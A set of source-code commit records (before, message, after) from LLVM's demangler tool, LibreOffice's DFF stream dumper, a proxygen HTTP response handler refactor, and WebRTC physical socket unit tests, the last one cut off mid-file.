||\n                (Mangled.size() >= 4 && Mangled.compare(0, 4, \"___Z\"))))\n    Demangled = itaniumDemangle(Mangled.c_str(), nullptr, nullptr, &Status);\n  OS << (Demangled ? Demangled : Mangled) << '\\n';\n  free(Demangled);\n}\n\nint main(int argc, char **argv) {\n  sys::PrintStackTraceOnErrorSignal(argv[0]);\n  PrettyStackTraceProgram X(argc, argv);\n\n  cl::ParseCommandLineOptions(argc, argv, \"llvm symbol undecoration tool\\n\");\n\n  if (Decorated.empty())\n    for (std::string Mangled; std::getline(std::cin, Mangled);)\n      demangle(llvm::outs(), Mangled);\n  else\n    for (const auto &Symbol : Decorated)\n      demangle(llvm::outs(), Symbol);\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"oox\/dump\/dffdumper.hxx\"\n\n#if OOX_INCLUDE_DUMPER\n\nnamespace oox {\nnamespace dump {\n\n\/\/ ============================================================================\n\n\nnamespace {\n\nconst sal_uInt16 DFF_ID_BSE                 = 0xF007;   \/\/\/ BLIP store entry.\nconst sal_uInt16 DFF_ID_BSTORECONTAINER     = 0xF001;   \/\/\/ BLIP store container.\nconst sal_uInt16 DFF_ID_CHILDANCHOR         = 0xF00F;   \/\/\/ Child anchor (in groups).\nconst sal_uInt16 DFF_ID_CLIENTANCHOR        = 0xF010;   \/\/\/ Client anchor.\nconst sal_uInt16 DFF_ID_DG                  = 0xF008;   \/\/\/ Drawing.\nconst sal_uInt16 DFF_ID_DGG                 = 0xF006;   \/\/\/ Drawing group.\nconst sal_uInt16 DFF_ID_OPT                 = 0xF00B;   \/\/\/ Property set.\nconst sal_uInt16 DFF_ID_OPT2                = 0xF121;   \/\/\/ Secondary property set.\nconst sal_uInt16 DFF_ID_OPT3                = 0xF122;   \/\/\/ Ternary property set.\nconst sal_uInt16 DFF_ID_SP                  = 0xF00A;   \/\/\/ Shape.\nconst sal_uInt16 DFF_ID_SPGR                = 0xF009;   \/\/\/ Shape group.\nconst sal_uInt16 DFF_ID_SPLITMENUCOLORS     = 0xF11E;   \/\/\/ Current toolbar colors.\n\nconst sal_uInt16 DFF_OPT_IDMASK             = 0x3FFF;\nconst sal_uInt16 DFF_OPT_PICTURE            = 0x4000;\nconst sal_uInt16 DFF_OPT_COMPLEX            = 0x8000;\nconst sal_uInt16 DFF_OPT_FLAGSMASK          = 0x003F;\n\n} \/\/ namespace\n\n\/\/ ============================================================================\n\nbool DffStreamObject::implReadRecordHeader( BinaryInputStream& rBaseStrm, sal_Int64& ornRecId, sal_Int64& ornRecSize )\n{\n    sal_uInt16 nRecId;\n    rBaseStrm >> mnInstVer >> nRecId >> mnRealSize;\n    ornRecId = nRecId;\n    ornRecSize = isContainer() ? 0 : mnRealSize;\n    return !rBaseStrm.isEof();\n}\n\nvoid DffStreamObject::implWriteExtHeader()\n{\n    const sal_Char* pcListName = \"DFF-RECORD-INST\";\n    switch( getRecId() )\n    {\n        case DFF_ID_BSE:                pcListName = \"DFFBSE-RECORD-INST\";          break;  \/\/ BLIP type\n        case DFF_ID_BSTORECONTAINER:    pcListName = \"DFFBSTORECONT-RECORD-INST\";   break;  \/\/ BLIP count\n        case DFF_ID_DG:                 pcListName = \"DFFDG-RECORD-INST\";           break;  \/\/ drawing ID\n        case DFF_ID_OPT:                pcListName = \"DFFOPT-RECORD-INST\";          break;  \/\/ property count\n        case DFF_ID_SP:                 pcListName = \"DFFSP-RECORD-INST\";           break;  \/\/ shape type\n        case DFF_ID_SPLITMENUCOLORS:    pcListName = \"DFFSPLITMENUC-RECORD-INST\";   break;  \/\/ number of colors\n    }\n    MultiItemsGuard aMultiGuard( mxOut );\n    writeHexItem( \"instance\", mnInstVer, pcListName );\n    if( isContainer() ) writeDecItem( \"container-size\", mnRealSize );\n}\n\nvoid DffStreamObject::implDumpRecordBody()\n{\n    switch( getRecId() )\n    {\n        case DFF_ID_BSE:\n            dumpDec< sal_uInt8 >( \"win-type\", \"DFFBSE-TYPE\" );\n            dumpDec< sal_uInt8 >( \"mac-type\", \"DFFBSE-TYPE\" );\n            dumpGuid( \"guid\" );\n            dumpDec< sal_uInt16 >( \"tag\" );\n            dumpDec< sal_uInt32 >( \"blip-size\" );\n            dumpDec< sal_uInt32 >( \"blip-refcount\" );\n            dumpDec< sal_uInt32 >( \"blip-streampos\" );\n            dumpDec< sal_uInt8 >( \"blip-usage\", \"DFFBSE-USAGE\" );\n            dumpDec< sal_uInt8 >( \"blip-name-len\" );\n            dumpUnused( 2 );\n        break;\n\n        case DFF_ID_CHILDANCHOR:\n            dumpDec< sal_uInt32 >( \"left\" );\n            dumpDec< sal_uInt32 >( \"top\" );\n            dumpDec< sal_uInt32 >( \"right\" );\n            dumpDec< sal_uInt32 >( \"bottom\" );\n        break;\n\n        case DFF_ID_CLIENTANCHOR:\n            implDumpClientAnchor();\n        break;\n\n        case DFF_ID_DG:\n            dumpDec< sal_uInt32 >( \"shape-count\" );\n            dumpHex< sal_uInt32 >( \"max-shape-id\", \"CONV-DEC\" );\n        break;\n\n        case DFF_ID_DGG:\n        {\n            dumpHex< sal_uInt32 >( \"max-shape-id\", \"CONV-DEC\" );\n            sal_uInt32 nClusters = dumpDec< sal_uInt32 >( \"id-cluster-count\" );\n            dumpDec< sal_uInt32 >( \"shape-count\" );\n            dumpDec< sal_uInt32 >( \"drawing-count\" );\n            mxOut->resetItemIndex( 1 );\n            TableGuard aTabGuard( mxOut, 15, 16 );\n            for( sal_uInt32 nCluster = 1; !mxStrm->isEof() && (nCluster < nClusters); ++nCluster )\n            {\n                MultiItemsGuard aMultiGuard( mxOut );\n                writeEmptyItem( \"#cluster\" );\n                dumpDec< sal_uInt32 >( \"drawing-id\" );\n                dumpHex< sal_uInt32 >( \"next-free-id\", \"CONV-DEC\" );\n            }\n        }\n        break;\n\n        case DFF_ID_OPT:\n        case DFF_ID_OPT2:\n        case DFF_ID_OPT3:\n            dumpDffOpt();\n        break;\n\n        case DFF_ID_SP:\n            dumpHex< sal_uInt32 >( \"shape-id\", \"CONV-DEC\" );\n            dumpHex< sal_uInt32 >( \"shape-flags\", \"DFFSP-FLAGS\" );\n        break;\n\n        case DFF_ID_SPGR:\n            dumpDec< sal_uInt32 >( \"left\" );\n            dumpDec< sal_uInt32 >( \"top\" );\n            dumpDec< sal_uInt32 >( \"right\" );\n            dumpDec< sal_uInt32 >( \"bottom\" );\n        break;\n\n        case DFF_ID_SPLITMENUCOLORS:\n            dumpDffSimpleColor( \"fill-color\" );\n            dumpDffSimpleColor( \"line-color\" );\n            dumpDffSimpleColor( \"shadow-color\" );\n            dumpDffSimpleColor( \"3d-color\" );\n        break;\n    }\n}\n\nvoid DffStreamObject::implDumpClientAnchor()\n{\n}\n\nsal_uInt32 DffStreamObject::dumpDffSimpleColor( const String& rName )\n{\n    return dumpHex< sal_uInt32 >( rName, \"DFF-SIMPLE-COLOR\" );\n}\n\nnamespace {\n\nenum PropType { PROPTYPE_BINARY, PROPTYPE_STRING, PROPTYPE_BLIP, PROPTYPE_COLORARRAY };\n\nstruct PropInfo\n{\n    OUString            maName;\n    PropType            meType;\n    sal_uInt16          mnId;\n    sal_uInt32          mnSize;\n    inline explicit     PropInfo( const OUString& rName, PropType eType, sal_uInt16 nId, sal_uInt32 nSize ) :\n                            maName( rName ), meType( eType ), mnId( nId ), mnSize( nSize ) {}\n};\n\ntypedef ::std::vector< PropInfo > PropInfoVector;\n\n} \/\/ namespace\n\nvoid DffStreamObject::dumpDffOpt()\n{\n    sal_uInt16 nPropCount = getInst();\n    PropInfoVector aPropInfos;\n    mxOut->resetItemIndex();\n    for( sal_uInt16 nPropIdx = 0; !mxStrm->isEof() && (nPropIdx < nPropCount); ++nPropIdx )\n    {\n        sal_uInt16 nPropId = dumpDffOptPropHeader();\n        sal_uInt16 nBaseId = nPropId & DFF_OPT_IDMASK;\n        sal_uInt32 nValue = mxStrm->readuInt32();\n\n        IndentGuard aIndent( mxOut );\n        if( getFlag( nPropId, DFF_OPT_COMPLEX ) )\n        {\n            writeHexItem( \"complex-size\", nValue, \"CONV-DEC\" );\n            String aName;\n            PropType eType = PROPTYPE_BINARY;\n            ItemFormatMap::const_iterator aIt = maComplexProps.find( nBaseId );\n            if( aIt != maComplexProps.end() )\n            {\n                const ItemFormat& rItemFmt = aIt->second;\n                aName = rItemFmt.maItemName;\n                if ( rItemFmt.maListName == \"binary\" )\n                    eType = PROPTYPE_BINARY;\n                else if ( rItemFmt.maListName == \"string\" )\n                    eType = PROPTYPE_STRING;\n                else if ( rItemFmt.maListName == \"blip\" )\n                    eType = PROPTYPE_BLIP;\n                else if ( rItemFmt.maListName == \"colorarray\" )\n                    eType = PROPTYPE_COLORARRAY;\n            }\n            aPropInfos.push_back( PropInfo( aName( \"property-data\" ), eType, nBaseId, nValue ) );\n        }\n        else\n        {\n            ItemFormatMap::const_iterator aIt = maSimpleProps.find( nBaseId );\n            if( aIt != maSimpleProps.end() )\n            {\n                const ItemFormat& rItemFmt = aIt->second;\n                \/\/ flags always at end of block of 64 properties\n                if( (nBaseId & DFF_OPT_FLAGSMASK) == DFF_OPT_FLAGSMASK )\n                {\n                    FlagsList* pFlagsList = dynamic_cast< FlagsList* >( cfg().getNameList( rItemFmt.maListName ).get() );\n                    sal_Int64 nOldIgnoreFlags = 0;\n                    if( pFlagsList )\n                    {\n                        nOldIgnoreFlags = pFlagsList->getIgnoreFlags();\n                        pFlagsList->setIgnoreFlags( nOldIgnoreFlags | 0xFFFF0000 | ~(nValue >> 16) );\n                    }\n                    writeValueItem( rItemFmt, nValue );\n                    if( pFlagsList )\n                        pFlagsList->setIgnoreFlags( nOldIgnoreFlags );\n                }\n                else\n                    writeValueItem( rItemFmt, nValue );\n            }\n            else\n                writeHexItem( \"value\", nValue );\n        }\n    }\n\n    mxOut->resetItemIndex();\n    for( PropInfoVector::iterator aIt = aPropInfos.begin(), aEnd = aPropInfos.end(); !mxStrm->isEof() && (aIt != aEnd); ++aIt )\n    {\n        mxOut->startMultiItems();\n        writeEmptyItem( \"#complex-data\" );\n        writeHexItem( \"id\", aIt->mnId, \"DFFOPT-PROPERTY-NAMES\" );\n        mxOut->endMultiItems();\n        IndentGuard aIndent( mxOut );\n        switch( aIt->meType )\n        {\n            case PROPTYPE_BINARY:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n            case PROPTYPE_STRING:\n                dumpUnicodeArray( aIt->maName, aIt->mnSize \/ 2, true );\n            break;\n            case PROPTYPE_BLIP:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n            case PROPTYPE_COLORARRAY:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n        }\n    }\n}\n\nsal_uInt16 DffStreamObject::dumpDffOptPropHeader()\n{\n    MultiItemsGuard aMultiGuard( mxOut );\n    TableGuard aTabGuard( mxOut, 11 );\n    writeEmptyItem( \"#prop\" );\n    return dumpHex< sal_uInt16 >( \"id\", \"DFFOPT-PROPERTY-ID\" );\n}\n\n\/\/ ============================================================================\n\n} \/\/ namespace dump\n} \/\/ namespace oox\n\n#endif\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>-Werror,-Wunused-const-variable<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"oox\/dump\/dffdumper.hxx\"\n\n#if OOX_INCLUDE_DUMPER\n\nnamespace oox {\nnamespace dump {\n\n\/\/ ============================================================================\n\n\nnamespace {\n\nconst sal_uInt16 DFF_ID_BSE                 = 0xF007;   \/\/\/ BLIP store entry.\nconst sal_uInt16 DFF_ID_BSTORECONTAINER     = 0xF001;   \/\/\/ BLIP store container.\nconst sal_uInt16 DFF_ID_CHILDANCHOR         = 0xF00F;   \/\/\/ Child anchor (in groups).\nconst sal_uInt16 DFF_ID_CLIENTANCHOR        = 0xF010;   \/\/\/ Client anchor.\nconst sal_uInt16 DFF_ID_DG                  = 0xF008;   \/\/\/ Drawing.\nconst sal_uInt16 DFF_ID_DGG                 = 0xF006;   \/\/\/ Drawing group.\nconst sal_uInt16 DFF_ID_OPT                 = 0xF00B;   \/\/\/ Property set.\nconst sal_uInt16 DFF_ID_OPT2                = 0xF121;   \/\/\/ Secondary property set.\nconst sal_uInt16 DFF_ID_OPT3                = 0xF122;   \/\/\/ Ternary property set.\nconst sal_uInt16 DFF_ID_SP                  = 0xF00A;   \/\/\/ Shape.\nconst sal_uInt16 DFF_ID_SPGR                = 0xF009;   \/\/\/ Shape group.\nconst sal_uInt16 DFF_ID_SPLITMENUCOLORS     = 0xF11E;   \/\/\/ Current toolbar colors.\n\nconst sal_uInt16 DFF_OPT_IDMASK             = 0x3FFF;\nconst sal_uInt16 DFF_OPT_COMPLEX            = 0x8000;\nconst sal_uInt16 DFF_OPT_FLAGSMASK          = 0x003F;\n\n} \/\/ namespace\n\n\/\/ ============================================================================\n\nbool DffStreamObject::implReadRecordHeader( BinaryInputStream& rBaseStrm, sal_Int64& ornRecId, sal_Int64& ornRecSize )\n{\n    sal_uInt16 nRecId;\n    rBaseStrm >> mnInstVer >> nRecId >> mnRealSize;\n    ornRecId = nRecId;\n    ornRecSize = isContainer() ? 0 : mnRealSize;\n    return !rBaseStrm.isEof();\n}\n\nvoid DffStreamObject::implWriteExtHeader()\n{\n    const sal_Char* pcListName = \"DFF-RECORD-INST\";\n    switch( getRecId() )\n    {\n        case DFF_ID_BSE:                pcListName = \"DFFBSE-RECORD-INST\";          break;  \/\/ BLIP type\n        case DFF_ID_BSTORECONTAINER:    pcListName = \"DFFBSTORECONT-RECORD-INST\";   break;  \/\/ BLIP count\n        case DFF_ID_DG:                 pcListName = \"DFFDG-RECORD-INST\";           break;  \/\/ drawing ID\n        case DFF_ID_OPT:                pcListName = \"DFFOPT-RECORD-INST\";          break;  \/\/ property count\n        case DFF_ID_SP:                 pcListName = \"DFFSP-RECORD-INST\";           break;  \/\/ shape type\n        case DFF_ID_SPLITMENUCOLORS:    pcListName = \"DFFSPLITMENUC-RECORD-INST\";   break;  \/\/ number of colors\n    }\n    MultiItemsGuard aMultiGuard( mxOut );\n    writeHexItem( \"instance\", mnInstVer, pcListName );\n    if( isContainer() ) writeDecItem( \"container-size\", mnRealSize );\n}\n\nvoid DffStreamObject::implDumpRecordBody()\n{\n    switch( getRecId() )\n    {\n        case DFF_ID_BSE:\n            dumpDec< sal_uInt8 >( \"win-type\", \"DFFBSE-TYPE\" );\n            dumpDec< sal_uInt8 >( \"mac-type\", \"DFFBSE-TYPE\" );\n            dumpGuid( \"guid\" );\n            dumpDec< sal_uInt16 >( \"tag\" );\n            dumpDec< sal_uInt32 >( \"blip-size\" );\n            dumpDec< sal_uInt32 >( \"blip-refcount\" );\n            dumpDec< sal_uInt32 >( \"blip-streampos\" );\n            dumpDec< sal_uInt8 >( \"blip-usage\", \"DFFBSE-USAGE\" );\n            dumpDec< sal_uInt8 >( \"blip-name-len\" );\n            dumpUnused( 2 );\n        break;\n\n        case DFF_ID_CHILDANCHOR:\n            dumpDec< sal_uInt32 >( \"left\" );\n            dumpDec< sal_uInt32 >( \"top\" );\n            dumpDec< sal_uInt32 >( \"right\" );\n            dumpDec< sal_uInt32 >( \"bottom\" );\n        break;\n\n        case DFF_ID_CLIENTANCHOR:\n            implDumpClientAnchor();\n        break;\n\n        case DFF_ID_DG:\n            dumpDec< sal_uInt32 >( \"shape-count\" );\n            dumpHex< sal_uInt32 >( \"max-shape-id\", \"CONV-DEC\" );\n        break;\n\n        case DFF_ID_DGG:\n        {\n            dumpHex< sal_uInt32 >( \"max-shape-id\", \"CONV-DEC\" );\n            sal_uInt32 nClusters = dumpDec< sal_uInt32 >( \"id-cluster-count\" );\n            dumpDec< sal_uInt32 >( \"shape-count\" );\n            dumpDec< sal_uInt32 >( \"drawing-count\" );\n            mxOut->resetItemIndex( 1 );\n            TableGuard aTabGuard( mxOut, 15, 16 );\n            for( sal_uInt32 nCluster = 1; !mxStrm->isEof() && (nCluster < nClusters); ++nCluster )\n            {\n                MultiItemsGuard aMultiGuard( mxOut );\n                writeEmptyItem( \"#cluster\" );\n                dumpDec< sal_uInt32 >( \"drawing-id\" );\n                dumpHex< sal_uInt32 >( \"next-free-id\", \"CONV-DEC\" );\n            }\n        }\n        break;\n\n        case DFF_ID_OPT:\n        case DFF_ID_OPT2:\n        case DFF_ID_OPT3:\n            dumpDffOpt();\n        break;\n\n        case DFF_ID_SP:\n            dumpHex< sal_uInt32 >( \"shape-id\", \"CONV-DEC\" );\n            dumpHex< sal_uInt32 >( \"shape-flags\", \"DFFSP-FLAGS\" );\n        break;\n\n        case DFF_ID_SPGR:\n            dumpDec< sal_uInt32 >( \"left\" );\n            dumpDec< sal_uInt32 >( \"top\" );\n            dumpDec< sal_uInt32 >( \"right\" );\n            dumpDec< sal_uInt32 >( \"bottom\" );\n        break;\n\n        case DFF_ID_SPLITMENUCOLORS:\n            dumpDffSimpleColor( \"fill-color\" );\n            dumpDffSimpleColor( \"line-color\" );\n            dumpDffSimpleColor( \"shadow-color\" );\n            dumpDffSimpleColor( \"3d-color\" );\n        break;\n    }\n}\n\nvoid DffStreamObject::implDumpClientAnchor()\n{\n}\n\nsal_uInt32 DffStreamObject::dumpDffSimpleColor( const String& rName )\n{\n    return dumpHex< sal_uInt32 >( rName, \"DFF-SIMPLE-COLOR\" );\n}\n\nnamespace {\n\nenum PropType { PROPTYPE_BINARY, PROPTYPE_STRING, PROPTYPE_BLIP, PROPTYPE_COLORARRAY };\n\nstruct PropInfo\n{\n    OUString            maName;\n    PropType            meType;\n    sal_uInt16          mnId;\n    sal_uInt32          mnSize;\n    inline explicit     PropInfo( const OUString& rName, PropType eType, sal_uInt16 nId, sal_uInt32 nSize ) :\n                            maName( rName ), meType( eType ), mnId( nId ), mnSize( nSize ) {}\n};\n\ntypedef ::std::vector< PropInfo > PropInfoVector;\n\n} \/\/ namespace\n\nvoid DffStreamObject::dumpDffOpt()\n{\n    sal_uInt16 nPropCount = getInst();\n    PropInfoVector aPropInfos;\n    mxOut->resetItemIndex();\n    for( sal_uInt16 nPropIdx = 0; !mxStrm->isEof() && (nPropIdx < nPropCount); ++nPropIdx )\n    {\n        sal_uInt16 nPropId = dumpDffOptPropHeader();\n        sal_uInt16 nBaseId = nPropId & DFF_OPT_IDMASK;\n        sal_uInt32 nValue = mxStrm->readuInt32();\n\n        IndentGuard aIndent( mxOut );\n        if( getFlag( nPropId, DFF_OPT_COMPLEX ) )\n        {\n            writeHexItem( \"complex-size\", nValue, \"CONV-DEC\" );\n            String aName;\n            PropType eType = PROPTYPE_BINARY;\n            ItemFormatMap::const_iterator aIt = maComplexProps.find( nBaseId );\n            if( aIt != maComplexProps.end() )\n            {\n                const ItemFormat& rItemFmt = aIt->second;\n                aName = rItemFmt.maItemName;\n                if ( rItemFmt.maListName == \"binary\" )\n                    eType = PROPTYPE_BINARY;\n                else if ( rItemFmt.maListName == \"string\" )\n                    eType = PROPTYPE_STRING;\n                else if ( rItemFmt.maListName == \"blip\" )\n                    eType = PROPTYPE_BLIP;\n                else if ( rItemFmt.maListName == \"colorarray\" )\n                    eType = PROPTYPE_COLORARRAY;\n            }\n            aPropInfos.push_back( PropInfo( aName( \"property-data\" ), eType, nBaseId, nValue ) );\n        }\n        else\n        {\n            ItemFormatMap::const_iterator aIt = maSimpleProps.find( nBaseId );\n            if( aIt != maSimpleProps.end() )\n            {\n                const ItemFormat& rItemFmt = aIt->second;\n                \/\/ flags always at end of block of 64 properties\n                if( (nBaseId & DFF_OPT_FLAGSMASK) == DFF_OPT_FLAGSMASK )\n                {\n                    FlagsList* pFlagsList = dynamic_cast< FlagsList* >( cfg().getNameList( rItemFmt.maListName ).get() );\n                    sal_Int64 nOldIgnoreFlags = 0;\n                    if( pFlagsList )\n                    {\n                        nOldIgnoreFlags = pFlagsList->getIgnoreFlags();\n                        pFlagsList->setIgnoreFlags( nOldIgnoreFlags | 0xFFFF0000 | ~(nValue >> 16) );\n                    }\n                    writeValueItem( rItemFmt, nValue );\n                    if( pFlagsList )\n                        pFlagsList->setIgnoreFlags( nOldIgnoreFlags );\n                }\n                else\n                    writeValueItem( rItemFmt, nValue );\n            }\n            else\n                writeHexItem( \"value\", nValue );\n        }\n    }\n\n    mxOut->resetItemIndex();\n    for( PropInfoVector::iterator aIt = aPropInfos.begin(), aEnd = aPropInfos.end(); !mxStrm->isEof() && (aIt != aEnd); ++aIt )\n    {\n        mxOut->startMultiItems();\n        writeEmptyItem( \"#complex-data\" );\n        writeHexItem( \"id\", aIt->mnId, \"DFFOPT-PROPERTY-NAMES\" );\n        mxOut->endMultiItems();\n        IndentGuard aIndent( mxOut );\n        switch( aIt->meType )\n        {\n            case PROPTYPE_BINARY:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n            case PROPTYPE_STRING:\n                dumpUnicodeArray( aIt->maName, aIt->mnSize \/ 2, true );\n            break;\n            case PROPTYPE_BLIP:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n            case PROPTYPE_COLORARRAY:\n                dumpBinary( aIt->maName, aIt->mnSize );\n            break;\n        }\n    }\n}\n\nsal_uInt16 DffStreamObject::dumpDffOptPropHeader()\n{\n    MultiItemsGuard aMultiGuard( mxOut );\n    TableGuard aTabGuard( mxOut, 11 );\n    writeEmptyItem( \"#prop\" );\n    return dumpHex< sal_uInt16 >( \"id\", \"DFFOPT-PROPERTY-ID\" );\n}\n\n\/\/ ============================================================================\n\n} \/\/ namespace dump\n} \/\/ namespace oox\n\n#endif\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"default_handler.hpp\"\n#include <proxygen\/httpserver\/ResponseBuilder.h>\n#include <proxygen\/lib\/http\/HTTPMessage.h>\n#include <folly\/io\/IOBuf.h>\n#include <string>\n#include <memory>\n\nstruct CloseConnection {\nstatic proxygen::ResponseBuilder& Apply(proxygen::ResponseBuilder& b) {\n    return b.closeConnection();\n}\n};\n\nstruct KeepConnection {\nstatic proxygen::ResponseBuilder& Apply(proxygen::ResponseBuilder& b) {\n    return b;\n}\n};\n\ntemplate<typename ConnectionPolicy = KeepConnection>\nclass DirectResponseHandler : public DefaultHandler {\npublic:\n    explicit DirectResponseHandler(int code, std::string body = \"\")\n        : code_(code)\n        , body_(folly::IOBuf::copyBuffer(body))\n    {}\n\n    virtual void onRequest(std::unique_ptr<proxygen::HTTPMessage> headers) noexcept override {}\n    virtual void onBody(std::unique_ptr<folly::IOBuf> body) noexcept override {}\n\n    virtual void onEOM() noexcept override {\n        ConnectionPolicy::Apply(\n            proxygen::ResponseBuilder(downstream_)\n            .status(code_, proxygen::HTTPMessage::getDefaultReason(code_))\n            .body(std::move(body_)))\n            .sendWithEOM();\n    }\n\nprivate:\n    const int code_;\n    std::unique_ptr<folly::IOBuf> body_;\n};\n\n<commit_msg>refactored DirectResponseHandler<commit_after>#pragma once\n\n#include \"default_handler.hpp\"\n#include <proxygen\/httpserver\/ResponseBuilder.h>\n#include <proxygen\/lib\/http\/HTTPMessage.h>\n#include <folly\/io\/IOBuf.h>\n#include <string>\n#include <memory>\n\nstruct CloseConnection {\nstatic proxygen::ResponseBuilder& Apply(proxygen::ResponseBuilder& b) {\n    return b.closeConnection();\n}\n};\n\nstruct KeepConnection {\nstatic proxygen::ResponseBuilder& Apply(proxygen::ResponseBuilder& b) {\n    return b;\n}\n};\n\nstruct NoStore {\nstatic proxygen::ResponseBuilder& Apply(proxygen::ResponseBuilder& b) {\n    return b.header(proxygen::HTTP_HEADER_CACHE_CONTROL, \"no-store\");\n}\n};\n\ntemplate<typename... Policy>\nclass DirectResponseHandler : public DefaultHandler {\npublic:\n    explicit DirectResponseHandler(int code, std::string body = \"\")\n        : code_(code)\n        , body_(folly::IOBuf::copyBuffer(body))\n    {}\n\n    virtual void onRequest(std::unique_ptr<proxygen::HTTPMessage> headers) noexcept override {}\n    virtual void onBody(std::unique_ptr<folly::IOBuf> body) noexcept override {}\n\n    virtual void onEOM() noexcept override {\n        auto rb = proxygen::ResponseBuilder(downstream_);\n        rb.status(code_, proxygen::HTTPMessage::getDefaultReason(code_));\n        for(auto& p: { Policy::Apply... }) p(rb);\n        rb.body(std::move(body_));\n        rb.sendWithEOM();\n    }\n\nprivate:\n    const int code_;\n    std::unique_ptr<folly::IOBuf> body_;\n};\n\ntemplate<typename... Policy>\nusing NoStoreDirectResponseHandler = DirectResponseHandler<NoStore, Policy...>;\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright 2004 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <signal.h>\n#include <stdarg.h>\n\n#include \"webrtc\/base\/gunit.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/base\/physicalsocketserver.h\"\n#include \"webrtc\/base\/scoped_ptr.h\"\n#include \"webrtc\/base\/socket_unittest.h\"\n#include \"webrtc\/base\/testutils.h\"\n#include \"webrtc\/base\/thread.h\"\n\nnamespace rtc {\n\nclass PhysicalSocketTest : public SocketTest {\n};\n\nTEST_F(PhysicalSocketTest, TestConnectIPv4) {\n  SocketTest::TestConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectIPv6) {\n  SocketTest::TestConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupIPv4) {\n  SocketTest::TestConnectWithDnsLookupIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupIPv6) {\n  SocketTest::TestConnectWithDnsLookupIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectFailIPv4) {\n  SocketTest::TestConnectFailIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectFailIPv6) {\n  SocketTest::TestConnectFailIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupFailIPv4) {\n  SocketTest::TestConnectWithDnsLookupFailIPv4();\n}\n\n\nTEST_F(PhysicalSocketTest, TestConnectWithDnsLookupFailIPv6) {\n  SocketTest::TestConnectWithDnsLookupFailIPv6();\n}\n\n\nTEST_F(PhysicalSocketTest, TestConnectWithClosedSocketIPv4) {\n  SocketTest::TestConnectWithClosedSocketIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWithClosedSocketIPv6) {\n  SocketTest::TestConnectWithClosedSocketIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWhileNotClosedIPv4) {\n  SocketTest::TestConnectWhileNotClosedIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestConnectWhileNotClosedIPv6) {\n  SocketTest::TestConnectWhileNotClosedIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseDuringConnectIPv4) {\n  SocketTest::TestServerCloseDuringConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseDuringConnectIPv6) {\n  SocketTest::TestServerCloseDuringConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestClientCloseDuringConnectIPv4) {\n  SocketTest::TestClientCloseDuringConnectIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestClientCloseDuringConnectIPv6) {\n  SocketTest::TestClientCloseDuringConnectIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseIPv4) {\n  SocketTest::TestServerCloseIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestServerCloseIPv6) {\n  SocketTest::TestServerCloseIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestCloseInClosedCallbackIPv4) {\n  SocketTest::TestCloseInClosedCallbackIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestCloseInClosedCallbackIPv6) {\n  SocketTest::TestCloseInClosedCallbackIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestSocketServerWaitIPv4) {\n  SocketTest::TestSocketServerWaitIPv4();\n}\n\nTEST_F(PhysicalSocketTest, TestSocketServerWaitIPv6) {\n  SocketTest::TestSocketServerWaitIPv6();\n}\n\nTEST_F(PhysicalSocketTest, TestTcpIPv4) {\n  